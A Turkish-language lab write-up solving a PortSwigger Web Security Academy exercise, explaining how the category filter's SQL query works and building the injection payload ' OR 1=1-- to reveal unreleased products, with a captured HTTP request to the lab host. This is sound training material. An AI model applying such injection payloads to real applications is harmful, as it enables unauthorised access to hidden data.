> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data-cozumu.md).

# SQL injection vulnerability in WHERE clause allowing retrieval of hidden data Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz. Bize labın başında şu bilgileri vermiş:

Ürün kategori filtresinde SQL Injection bulunuyormuş, kullanıcı bir kategori seçince aşağıdaki gibi bir sorgu çalışıyormuş:

`SELECT * FROM products WHERE category = 'Gifts' AND released = 1`

Labı çözmek için unreleased(yayınlanmamış) ürünleri bulmamızı istiyor.

***

Buradaki SQL sorgusu şunu yapıyor:

products(ürünler) tablosunda, category(kategori) sütünü Gifts(hediyeler)’e eşit olan AND(ve) released(yayınlananlar) sütünü 1’e eşit olan verileri çekiyor.

Labı başlatınca site aşağıdaki gibi:

<figure><img src="/files/QyqNlK9suQuNzvRQsSYl" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/loZZYqk4wIuiftFV2cPT" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0abe00d50456391c8663bc7d00d50087.web-security-academy.net
Cookie: session=lZ3GgnNPhGdbkjGp4v6cwTC2u4fHvLlt
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0abe00d50456391c8663bc7d00d50087.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz.

Peki nasıl düşünmeliyiz:

`SELECT * FROM products WHERE category = 'bizim_girdimiz' AND released = 1`

arkada çalışan sorgu bu ve “bizim\_girdimiz” kısmına sql sorgusu yazabiliyoruz.

Şimdi `‘` ile girdimiz alanını kapatıp, devamında filtreye her şeyi getir demek için doğru olan bir koşul yaratmamız lazım. Bu koşulu da `OR 1=1` ekleyerek yapabiliriz. Devamında `AND released = 1` kısmını da yorum satırına(`--`) almamız lazım, çünkü biz daha yayınlanmamış ürünleri de görmek istiyoruz. Hepsini birleştirince şöyle bir injection oluyor:

`‘ OR 1=1--`

bunu kategori olarak gönderince bütün ürünler gelecek ve oda çözülecek.

<figure><img src="/files/Jcsid49IBxTPzJdeoNJz" alt=""><figcaption></figcaption></figure>

Bu sorguyu gönderince tam çalışan sql komutu şöyle oldu:

`SELECT * FROM products WHERE category = '' OR 1=1--' AND released = 1`

bütün ürünleri çeken ve devamındaki kısmı da yorum satırına alındığı için önemsemeyen bir sorgu oluşmuş oldu: `SELECT * FROM products WHERE category = '' OR 1=1`
